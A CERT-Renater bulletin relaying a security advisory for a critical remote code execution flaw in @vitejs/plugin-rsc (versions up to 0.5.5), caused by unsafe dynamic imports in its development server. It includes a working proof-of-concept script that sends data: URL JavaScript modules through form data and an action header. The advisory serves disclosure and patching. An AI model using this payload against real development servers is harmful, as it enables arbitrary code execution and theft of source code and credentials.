Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2025/VULN846
_____________________________________________________________________

DATE                : 12/12/2025

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running vitejs/plugin-rsc (npm) versions
                                       prior to 0.5.6.

=====================================================================
https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr
_____________________________________________________________________

Remote Code Execution through unsafe dynamic imports in RSC server
function APIs on development server

Critical
hi-ogawa published GHSA-j76j-5p5g-9wfr Dec 8, 2025

Package
@vitejs/plugin-rsc (npm)

Affected versions
<= 0.5.5

Patched versions
0.5.6


Description

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic
imports in @vitejs/plugin-rsc server function APIs
(loadServerAction, decodeReply, decodeAction) when integrated into RSC
applications that expose server function endpoints.


Impact

Attackers with network access to the development server can execute
arbitrary JavaScript code with Node.js privileges, allowing them to
read/modify files, exfiltrate sensitive data (source code, environment
variables, credentials), or pivot to other internal services. While
this affects development servers only, the risk increases when using
vite --host to expose the server on all network interfaces.


Details

In the example RSC application provided in Proof of Concept, the server
handles server function call through API such as
loadServerAction, decodeReply, decodeAction with http request's header
and body as inputs:

vite-plugin-react/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx

Lines 42 to 47 in c8af971
 const body = contentType?.startsWith('multipart/form-data') 
   ? await request.formData() 
   : await request.text() 
 temporaryReferences = createTemporaryReferenceSet() 
 const args = await decodeReply(body, { temporaryReferences }) 
 const action = await loadServerAction(renderRequest.actionId) 


During development, these API internally relies on dynamic import
to load server function module, which allows executing arbitrary
module including data url module.

vite-plugin-react/packages/plugin-rsc/src/rsc.tsx

Lines 19 to 24 in c8af971
 function initialize(): void { 
   setRequireModule({ 
     load: async (id) => { 
       if (!import.meta.env.__vite_rsc_build__) { 
         return import(/* @vite-ignore */ id) 
       } else { 


Proof of Concept

The example app is avialable in

    https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
    https://stackblitz.com/edit/github-rubfqp9k?file=poc.js


Reproduction Steps:

    Stat development server vite dev
    Run a following script node poc.js
    See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console

// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})


Severity
Critical
9.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2025-67489

Weaknesses
Weakness CWE-94

Credits

    @xdavidhu xdavidhu Reporter
    @Ry0taK Ry0taK Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================